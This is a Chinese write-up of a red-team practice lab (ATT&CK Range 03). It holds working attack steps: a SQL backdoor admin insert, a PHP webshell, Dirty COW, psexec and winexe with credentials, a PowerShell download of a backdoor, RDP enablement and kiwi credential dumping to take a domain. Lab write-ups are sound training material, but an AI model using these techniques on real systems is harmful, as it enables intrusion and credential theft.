ATT&CK红队实战靶场03

基本信息

本次测试为黑盒测试,所以所有主机都为挂起状态,且账号都默认已经登录

已知出网主机为centos主机

将centos出网网卡和kali攻击机网卡都设置为桥接复制物理网络模式

其它网卡都默认vmnet2模式,添加vmnet2网卡

开启centos后需要重新获取一次ip eth0网卡为我们复制的物理网络

1
2
dhclient -r
dhclient

拓扑图

ip有出入

img

外网打点

信息收集

nmap确定目标ip

进一步扫描端口

目标为ubuntu16.04.1

22端口存在ssh,可以爆破

80端口web服务

3306端口mysql数据库,可以爆破

web打点

访问网站,用插件得到cms信息 nginx+php+joomla

使用joomscan工具扫描,没有漏洞但是知道了版本为3.9.12

1
joomscan -u http://192.168.31.54

扫出了后台和一个配置文件

得到mysql密码和绝对路径

连接数据库

拿到密码密文,解不出来

查阅官方文档发现可以添加一个管理员账号 https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

1
INSERT INTO am2zu_users (name, username, password, params, registerDate, lastvisitDate, lastResetTime) VALUES ('Administrator2', 'admin123', '433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT', '', NOW(), NOW(), NOW()); INSERT INTO am2zu_user_usergroup_map (user_id,group_id) VALUES (LAST_INSERT_ID(),'8');

执行sql语句添加账号密码admin123/admin

登录后台后添加.php后缀白名单

在在Extensions -> Templates -> Templates可以编辑模板文件

创建一个新的php文件用来写马

使用蚁剑连接需要注意关闭蚁剑的代理

无法执行命令

发现disbale_funcions禁用了函数

通过蚁剑插件去绕过

查看ip,发现不对劲,我们访问的ip明明是192.168.31.54,怎么这里是192.168.93.120,应该是使用了nginx反向代理

上线到msf上做一个内网扫描,使用传统的生产后门再上传太麻烦了,这里使用msf本地起一个后门

1
use exploit/multi/script/web_delivery

设置目标为linux

然后将生成的命令复制到shell中执行

但是没反弹成功,一开始我觉得是没有执行权限,于是到/tmp目录下去执行,还是没有反弹成功,应该跟反向代理有关。我们访问的流量是从centos转发给ubuntu,而且我们不能直接访问ubuntu,不在一个网段,我们的流量是通过centos转发的,拿到的shell是ubuntu的

但是执行反弹msf的时候去通过去下载kali上的后门执行,而ubuntu和kali不在一个网段所以没法访问,如果是外网,kali和ubuntu都在外网且ubuntu出网的话是可以反弹的,但是这里是内网自己搭建的环境

所以这台ubuntu的机器,提不提权已经无所谓了,根据我们拿到的信息,我们要拿到centos的shell才能继续下一步。

继续往下,也没有找到关键信息,找了一下其他师傅的文章,说是存在/tmp/mysql/test.txt,但我这里却没有,我上靶机看确实也没有,不太懂为什么,借用一张其他师傅的图

wwwuser/wwwuser_123Aqx

img

ssh连接centos的时候报错

之所以报错是因为OpenSSH 7.0以后的版本不再支持ssh-dss (DSA)算法,解决方法是增加选项-oHostKeyAlgorithms=+ssh-dss,即可成功解决

1
ssh -oHostKeyAlgorithms=+ssh-dss  wwwuser@192.168.31.54

成功连接

使用上面反弹msf的方法,将shell上线到msf

在tmp目录下执行

msf收到会话

提权

linux 提权三板斧 内核、sudo -l、root权限命令

尝试了sudo -l和root权限都无果,msf也提不动,查看内核版本符合脏牛,尝试内核提权

把提权文件传上去编译

1
gcc -pthread dirty.c -o dirty -lcrypt

切换用户

在使用此用户运行刚刚上线msf的payload,或者直接运行tmp目录下的后门,获得一个root权限的会话

内网渗透

代理

查看ip发现有两个网段

添加路由,将msf代理进内网,再起一个反向代理方便使用别的工具

proxychains添加一个代理

1
vim /etc/proxychains4.conf

用nmap扫描存活主机和端口,要注意的是prxychains代理不了icmp流量,所以不能使用ping,只能用tcp去扫描

也可以用msf自带的模块去扫描

1
2
# 扫描存活主机
use auxiliary/scanner/discovery/udp_probe

扫出三台存活主机

1
2
扫描端口
use auxiliary/scanner/discovery/udp_probe

nmap扫描的精确一点

三台主机都为windows,10开启了53端口,推测为域控,20开启了1433 mssql,30和其余两台都存在smb服务,尝试永恒之蓝都不存在

换个方法,尝试爆破smb用户,将上面获取到的两个密码放入密码文件进行爆破

最后爆破出30、20的密码

使用msf自带模块来攻击,要注意的是这里使用正向连接payload,因为我们使用加了代理

1
2
3
4
5
6
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.30
exploit

得到一个system权限的会话

通过winexe得到20的会话

1
proxychains winexe -U 'administrator%123qwe!ASD' //192.168.93.20 cmd.exe

他上线到msf,生成一个shell,因为目标主机不出网,所以把shell上传到centos主机上,再由centos主机用python起一个web服务,20主机使用powershell去下载

注意不要和web服务端口起冲突,使用8899端口

开启远程桌面

1
2
3
4
5
6
#设置远程桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
#开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#检查端口状态
netstat -an|find "3389"

使用administrator登录

1
powershell (new-object Net.WebClient).DownloadFile('http://192.168.93.128:8899/shell1.exe','C:\shell.exe')

下载后门

kali起一个监听,注意这里要使用正向监听,因为目标主机是不出网的,运行后门成功反弹会话

迁移进程到一个系统进程后,使用kiwi抓取密码,抓到域控密码

使用同样的方法拿到cmd

1
proxychains winexe -U 'administrator%zxcASDqw123!!' //192.168.93.10 cmd.exe

一样的方法上线msf,只需要修改正向监听的ip即可